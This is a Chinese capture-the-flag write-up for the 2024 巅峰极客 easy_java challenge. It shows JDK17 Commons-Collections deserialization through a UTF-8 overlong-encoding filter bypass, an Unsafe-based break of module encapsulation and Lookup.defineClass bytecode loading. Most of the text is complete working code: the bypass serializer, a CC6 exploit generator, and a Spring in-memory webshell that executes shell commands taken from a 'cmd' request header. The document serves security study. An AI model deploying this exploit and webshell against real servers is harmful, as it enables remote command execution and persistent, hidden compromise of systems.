好厉害
2024 巅峰极客 easy_java学习jdk17下打内存马方式
简单描述
是一个黑盒环境,告诉了只有jdk17和cb依赖
这里就需要知道一个小知识点了
Commons-Beanutils 1.9+自带Commons-Collections3.2.1
可以看见我们只引入了cb依赖,但是同时也有cc的
然后题目过滤了org.apache字样,用UTF8-Overlong-Encoding绕过即可
题目不出网,用defineClass加载字节码打内存马即可。
其实整个下来就是jdk17通过cc6链打内存马
脏字符绕过
绕过原理
在 Java 序列化过程中,类名会被编码为 UTF-8 字节流,并存储在序列化后的数据中。在反序列化时,这些字节流会被重新解码为类名字符串。
UTF-8 是一种可变长度的字符编码方案,可以使用 1 到 4 个字节来表示一个字符。其编码规则如下:
- 1 字节编码:0xxxxxxx
- 2 字节编码:110xxxxx 10xxxxxx
- 3 字节编码:1110xxxx 10xxxxxx 10xxxxxx
- 4 字节编码:11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
在 UTF-8 编码中,同一个字符可以用不同的字节组合来表示,这就为我们提供了混淆字符的机会。
比如o是0x6F也是0xC3 0xAF
而readUTFSpan方法对类名获取的逻辑支持这些方式
我们的绕过逻辑就来了
这里拿替换o来举例
比如我们对序列化数据o进行了禁用
我们可以序列化的时候对o进行替换
原始类名的序列化(大致表示)
6F 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C
替换后的类名的序列化
我们将 'o'(0x6F)替换为 0xC3 0xAF
,新的字节序列如下:
C3 AF 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C
这里只是用编码方式表现一下
我们实际看到的
org.example.Evil----\C3\AFrg.example.Evil
就绕过了waf,而我们反序列化的时候又可以去识别2 字节编码模式的UTF-8字符
所以出现了绕过
实现
package GJ;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
public class UTF8bypass extends ObjectOutputStream {
private static HashMap<Character, int[]> map;
static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf}); // 0x6f
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});
}
public UTF8bypass(OutputStream out) throws IOException {
super(out);
}
@Override
protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
String name = desc.getName();
// writeUTF(desc.getName());
writeShort(name.length() * 2);
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
// System.out.println(s);
write(map.get(s)[0]);
write(map.get(s)[1]);
}
writeLong(desc.getSerialVersionUID());
try {
byte flags = 0;
if ((boolean)getFieldValue(desc,"externalizable")) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
int protocol = (int) protocolField.get(this);
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if ((boolean)getFieldValue(desc,"serializable")){
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if ((boolean)getFieldValue(desc,"hasWriteObjectData")) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if ((boolean)getFieldValue(desc,"isEnum") ) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc,"fields");
writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class);
writeTypeString.setAccessible(true);
writeTypeString.invoke(this,f.getTypeString());
// writeTypeString(f.getTypeString());
}
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
}
}
public static Object getFieldValue(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
Object value = field.get(object);
return value;
}
}
然后利用就是替换序列化的方法
serilize(hashMap);//原始方法
UTF8bypass utf8bypass=new UTF8bypass(new FileOutputStream("1234.bin"));//绕过waf方法
utf8bypass.writeObject(hashMap);
我们看一下这样得出的文件有什么区别
可以看到对我们的进行了绕过
defineClass加载字节码
首先jdk17是有反射限制的,需要我们打破module机制
mould机制
JDK 17启动了强封装, java.*
的非公共字段和方法都无法反射获取调用了。
限制的逻辑主要在setAccessible方法
们给非public字段或方法设置访问权限为 true
时会调用checkCanSetAccessible
去检查对应的类。
执行 checkCanSetAccessible
方法后
最终关键的代码位于 java.lang.reflect.AccessibleObject#checkCanSetAccessible(java.lang.Class<?>, java.lang.Class<?>, boolean)
只有满足if条件后才能反射调用
caller就是我们当前运行的java文件,而declaringClass就是我们需要反射修改的类
判断我们调用者类和目标类是一个module,或者调用类的module和Object类的module一样才可以调用
打破module机制
那我们就满足if条件,因为
sun.misc和sun.reflect包下的我们是可以正常反射的,所以有个关键的类就可以拿来用来,就是 Unsafe
这个东西
那我们可以尝试利用Unsafe来修改当前类的module属性和 java.*
下类的module属性一致来绕过
Unsafe类中有个 getAndSetObject
方法,其和反射赋值功能差不多,利用这个修改调用类的module
或者putObject方法都是可以的
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
String evilClassBase64 = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS";
byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
// or
//unsafe.getAndSetObject(currentClass, offset, baseModule);
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance();
}
}
MethodHandles内部类Lookup加载字节码
还需要找到我们的defineClass方法,jdk17已经不能使用Temp类去加载我们的字节码了
这里学习到了一个新的类去加载我们的字节码defineClass
MethodHandles内部类Lookup
不过这个方法是有一些限制的
public Class<?> defineClass(byte[] bytes) throws IllegalAccessException {
ensureDefineClassPermission();
if ((lookupModes() & PACKAGE) == 0)
throw new IllegalAccessException("Lookup does not have PACKAGE access");
return makeClassDefiner(bytes.clone()).defineClass(false);
}
跟进makeClassDefiner方法
private ClassDefiner makeClassDefiner(byte[] bytes) {
ClassFile cf = ClassFile.newInstance(bytes, lookupClass().getPackageName());
return new ClassDefiner(this, cf, STRONG_LOADER_LINK);
}
可以看到是传入了我们的byte和
lookupClass().getPackageName()
这个就是我们调用lookup方法的包名
为什么要调用lookup方法呢,因为我们实例化内部类的时候是通过
MethodHandles的lookup方法实例化的
public static Lookup lookup() {
return new Lookup(Reflection.getCallerClass());
}
可以看到这个实例化了对象,而传入的参数就是Reflection.getCallerClass()也就是我们的InvokerTransformer类
这个对我们下面很关键
回到makeClassDefiner方法进入
newInstance
其中加载字节码有个判断
就是我们自己设定的恶意类是否和调用者是在同一个包下的,只有在同一个包下才会加载字节码
POC
这里就使用大头SEC的POC了
EXP类如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class EXP {
public static void main(String[] args) throws Exception {
patchModule(EXP.class.getName());
patchModule(UTF8OverlongObjectOutputStream.class.getName());
byte[] memcode = Files.readAllBytes(Paths.get("/path/to/Evil.class"));
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(MethodHandles.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("defineClass", new Class[]{byte[].class}, new Object[]{memcode}),
new InstantiateTransformer(new Class[0], new Object[0]),
new ConstantTransformer(1)
};
Map innerMap = new HashMap();
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.remove("keykey");
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
UTF8OverlongObjectOutputStream oos = new UTF8OverlongObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();
System.out.print(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static Object patchModule(String className) throws Exception{
final ArrayList<Class> classes = new ArrayList<>();
classes.add(Class.forName("java.lang.reflect.Field"));
classes.add(Class.forName("java.lang.reflect.Method"));
Class aClass = Class.forName(className);
classes.add(aClass);
new EXP().bypassModule(classes);
return aClass.newInstance();
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
private static Method getMethod(Class clazz,String methodName,Class[]
params) {
Method method = null;
while (clazz!=null){
try {method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
}
Evil类如下:
package org.apache.commons.collections.functors;
import sun.misc.Unsafe;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil {
private String getReqHeaderName() {
return "cmd";
}
public Evil() throws Exception {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get((Object) null);
Method getModuleMethod = Class.class.getDeclaredMethod("getModule");
Object module = getModuleMethod.invoke(Object.class);
Class cls = Evil.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(cls, offset, module);
this.run();
}
public void run() {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Object requestAttributes = this.invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = this.invokeMethod(requestAttributes, "getRequest");
Object response = this.invokeMethod(requestAttributes, "getResponse");
Method getHeaderM = request.getClass().getMethod("getHeader", String.class);
String cmd = (String)getHeaderM.invoke(request, getReqHeaderName());
if (cmd != null && !cmd.isEmpty()) {
Writer writer = (Writer)this.invokeMethod(response, "getWriter");
writer.write(this.exec(cmd));
writer.flush();
writer.close();
}
} catch (Exception var8) {}
}
private String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");
String execRes;
for(execRes = ""; s.hasNext(); execRes = execRes + s.next()) {
}
return execRes;
} catch (Exception var8) {
Exception e = var8;
return e.getMessage();
}
}
private Object invokeMethod(Object targetObject, String methodName) throws Exception {
return this.invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
private Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception {
Class clazz = obj instanceof Class ? (Class)obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while(method == null && tempClass != null) {
try {
if (paramClazz == null) {
Method[] methods = tempClass.getDeclaredMethods();
for(int i = 0; i < methods.length; ++i) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException var12) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException var10) {
throw new RuntimeException(var10.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException var11) {
throw new RuntimeException(var11.getMessage());
}
}
}
}
}
UTF8OverlongObjectOutputStream类如下:
package org.apache.commons.collections.functors;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
public class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
public UTF8OverlongObjectOutputStream() throws Exception{
super();
}
public static HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
put('.', new int[]{0xc0, 0xae});
put(';', new int[]{0xc0, 0xbb});
put('$', new int[]{0xc0, 0xa4});
put('[', new int[]{0xc1, 0x9b});
put(']', new int[]{0xc1, 0x9d});
put('a', new int[]{0xc1, 0xa1});
put('b', new int[]{0xc1, 0xa2});
put('c', new int[]{0xc1, 0xa3});
put('d', new int[]{0xc1, 0xa4});
put('e', new int[]{0xc1, 0xa5});
put('f', new int[]{0xc1, 0xa6});
put('g', new int[]{0xc1, 0xa7});
put('h', new int[]{0xc1, 0xa8});
put('i', new int[]{0xc1, 0xa9});
put('j', new int[]{0xc1, 0xaa});
put('k', new int[]{0xc1, 0xab});
put('l', new int[]{0xc1, 0xac});
put('m', new int[]{0xc1, 0xad});
put('n', new int[]{0xc1, 0xae});
put('o', new int[]{0xc1, 0xaf}); // 0x6f
put('p', new int[]{0xc1, 0xb0});
put('q', new int[]{0xc1, 0xb1});
put('r', new int[]{0xc1, 0xb2});
put('s', new int[]{0xc1, 0xb3});
put('t', new int[]{0xc1, 0xb4});
put('u', new int[]{0xc1, 0xb5});
put('v', new int[]{0xc1, 0xb6});
put('w', new int[]{0xc1, 0xb7});
put('x', new int[]{0xc1, 0xb8});
put('y', new int[]{0xc1, 0xb9});
put('z', new int[]{0xc1, 0xba});
put('A', new int[]{0xc1, 0x81});
put('B', new int[]{0xc1, 0x82});
put('C', new int[]{0xc1, 0x83});
put('D', new int[]{0xc1, 0x84});
put('E', new int[]{0xc1, 0x85});
put('F', new int[]{0xc1, 0x86});
put('G', new int[]{0xc1, 0x87});
put('H', new int[]{0xc1, 0x88});
put('I', new int[]{0xc1, 0x89});
put('J', new int[]{0xc1, 0x8a});
put('K', new int[]{0xc1, 0x8b});
put('L', new int[]{0xc1, 0x8c});
put('M', new int[]{0xc1, 0x8d});
put('N', new int[]{0xc1, 0x8e});
put('O', new int[]{0xc1, 0x8f});
put('P', new int[]{0xc1, 0x90});
put('Q', new int[]{0xc1, 0x91});
put('R', new int[]{0xc1, 0x92});
put('S', new int[]{0xc1, 0x93});
put('T', new int[]{0xc1, 0x94});
put('U', new int[]{0xc1, 0x95});
put('V', new int[]{0xc1, 0x96});
put('W', new int[]{0xc1, 0x97});
put('X', new int[]{0xc1, 0x98});
put('Y', new int[]{0xc1, 0x99});
put('Z', new int[]{0xc1, 0x9a});
}};
public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void writeClassDescriptor(ObjectStreamClass desc) {
try {
String name = desc.getName();
writeShort(name.length() * 2);
try {
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
write(map.get(s)[0]);
write(map.get(s)[1]);
}
} catch (Exception e) {
}
writeLong(desc.getSerialVersionUID());
byte flags = 0;
if ((Boolean) getFieldValue(desc, "externalizable")) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
int protocol = (Integer) protocolField.get(this);
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if ((Boolean) getFieldValue(desc, "serializable")) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if ((Boolean) getFieldValue(desc, "hasWriteObjectData")) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if ((Boolean) getFieldValue(desc, "isEnum")) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
writeTypeString.setAccessible(true);
writeTypeString.invoke(this, f.getTypeString());
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
参考链接
https://gist.github.com/LxxxSec/6e5d3e12a283915790f8f93f66a57487